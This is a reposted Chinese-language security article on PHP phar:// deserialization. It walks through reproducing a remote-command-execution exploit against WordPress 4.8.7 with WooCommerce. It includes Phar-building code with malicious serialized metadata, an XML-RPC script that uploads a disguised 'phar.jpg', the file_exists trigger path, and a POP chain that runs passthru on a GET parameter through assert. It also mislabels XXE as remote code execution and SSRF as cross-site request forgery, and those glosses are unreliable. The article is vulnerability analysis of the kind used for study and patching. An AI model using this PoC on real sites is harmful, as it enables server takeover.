本文共 4873 字,大约阅读时间需要 16 分钟。
自2009年Stefan Essar提出PHP反序列化问题以来,已经有大量的CVE出现,例如CVE-2017-12934、CVE-2017-12933等。在今年8月份的美国黑帽大会上,Sam Thomas提出了一种新的反序列化攻击场景,这种场景可能伴随着xxe(远程代码执行)、ssrf(跨站请求伪造)或其他相关漏洞的出现。本文将会介绍这一新型反序列化攻击场景,并针对WordPress中的漏洞进行复现和分析。
PHP反序列化漏洞也被称为PHP对象注入。其形成原因在于程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而引发代码执行、文件操作、数据库操作等不可控后果。这种类型的安全问题在Java、Python等面向对象语言中均存在。
在大型Web项目中,可能存在以下代码:
class AnyClass { public $name; function __destruct() { passthru($this->name); }} AnyClass类中存在一个变量$name,以及一个__destruct方法。__destruct方法会在类实例被销毁时自动调用,并通过passthru函数执行$this->name的值。如果$name属性设置为用户可控的值(如whoami),则可能导致远程命令执行。
PHP允许将对象进行序列化以便重用,serialize函数将对象的信息保存下来,而unserialize函数则将其还原。在反序列化过程中,攻击者可以通过控制unserialize函数的输入,利用存在的类(如上述AnyClass)进行攻击。
需要注意的是,如果$name属性为protected或private,则需要通过子类或其他方式绕过访问控制,例如:
class ChildClass extends AnyClass { protected $wc; public function make() { $this->wc = new AnyClass(); $this->wc->name = 'whoami'; return serialize($this->wc); }} 序列化结果为:
O:8:"AnyClass":1:{s:7:"*name";s:6:"whoami";} 此时反序列化后会执行passthru("whoami"),从而导致远程命令执行。
PHP的文件操作函数(如fopen、copy、file_exists等)能够接受许多内置的Stream Wrappers。PHP 5.3以后的主要Stream Wrappers包括:
file://http://ftp://php://zlib://data://glob://phar://php://流转换器在xxe、本地文件包含或SSRF等漏洞中尤为常见。例如,php://input可以用来读取请求正文,而php://filter/convert.base64-encode/resource=index.php可以用来读写文件。
Phar流转换器允许通过PHP直接创建和使用归档文件。例如,可以通过以下代码创建一个Phar文件:
@unlink("phar.phar");$phar = new Phar("phar.phar");$phar->startBuffering();$phar->addFromString("test.txt", "test");$phar->setStub(" ");$phar->setMetadata($this->wc);$phar->stopBuffering(); 通过setMetadata方法可以将对象以序列化形式存入Phar文件中。当目标站点上传包含攻击payload的Phar归档文件后,攻击者可以通过控制文件操作函数的参数,将Phar文件解析为phar://xxx.jpg/test.txt,从而触发远程命令执行。
复现环境使用WordPress 4.8.7,并安装了最新版本的 WooCommerce插件。首先需要登录WordPress后台,并创建一个具有作者权限的账号。
通过XML-RPC上传包含payload的图片:
$filename = "phar.jpg";$username = 'author';$password = 'xxxx';$wpsite = 'http://127.0.0.1/wordpress';$xmlclient = $wpsite.'/xmlrpc.php';$client = new IXR_Client($xmlclient);$client->debug = true;$params = array( 'name' => 'phartest.jpg', 'type' => 'image/pwnage', 'bits' => new IXR_Base64(file_get_contents($filename)), 'overwrite' => false);if (!$res = $client->query('wp.uploadFile', 1, $username, $password, $params)) { die('Something went wrong – '.$client->getErrorCode().' : '.$client->getErrorMessage());} else { $response = $client->getResponse(); print_r($response);}构造并发送XML-RPC请求:
通过Burp Suite抓包工具构造以下XML-RPC请求:
wp.getMediaItem 1 author xxxx 29
攻击效果:
通过上述步骤,攻击者可以控制WordPress的文件操作函数,将phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt解析为Phar文件,从而触发命令执行。
漏洞触发点位于wp-includes/post.php中的wp_get_attachment_thumb_file函数:
function wp_get_attachment_thumb_file($post_id = 0) { $file = get_attached_file($post_id); if (!empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile)) { // 读取缩略图文件 }} get_attached_file函数通过get_post_meta获取_wp_attached_file的值。通过构造特定的文件路径,可以绕过正则判断,导致get_attached_file返回Z:/Z,从而将phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt传入file_exists函数,最终触发命令执行。
在WordPress 4.9及以上版本,__toString()方法中被移除create_function,因此POP链攻击已被修复。然而,可以通过其他方法构造反序列化POP链,例如利用Requests_Utility_FilteredIterator类的current方法。
class Requests_Utility_FilteredIterator extends ArrayIterator { protected $callback; public function __construct($data, $callback) { parent::__construct($data); $this->callback = $callback; } public function current() { $value = parent::current(); $value = call_user_func($this->callback, $value); return $value; }} 通过构造以下类,可以实现命令执行:
require('wp-load.php');require_once(dirname(__FILE__) . '/wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php');require_once(dirname(__FILE__) . '/wp-includes/Requests/Utility/FilteredIterator.php');$arr = array("1" => '@passthru($_GET["c"]);');$obj_ = new Requests_Utility_FilteredIterator($arr, "assert");class myClass extends WC_Log_Handler_File { protected $wc; public function make($handle) { $this->wc = new WC_Log_Handler_File(); $this->wc->handles = $handle; // 其他依赖文件加载 @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub(" "); $phar->setMetadata($this->wc); $phar->stopBuffering(); }} 此POC需要在WordPress根目录下执行,以确保依赖文件正确加载。
转载地址:http://fngc.baihongyu.com/